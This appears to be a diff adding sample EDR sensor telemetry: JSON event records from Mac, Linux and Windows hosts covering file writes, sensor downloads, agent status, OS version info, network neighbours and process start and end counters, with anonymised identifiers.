+{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} +{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} +{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} +{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} +{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} +{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} +{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} +{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} +{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} +{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} +{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} +{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} 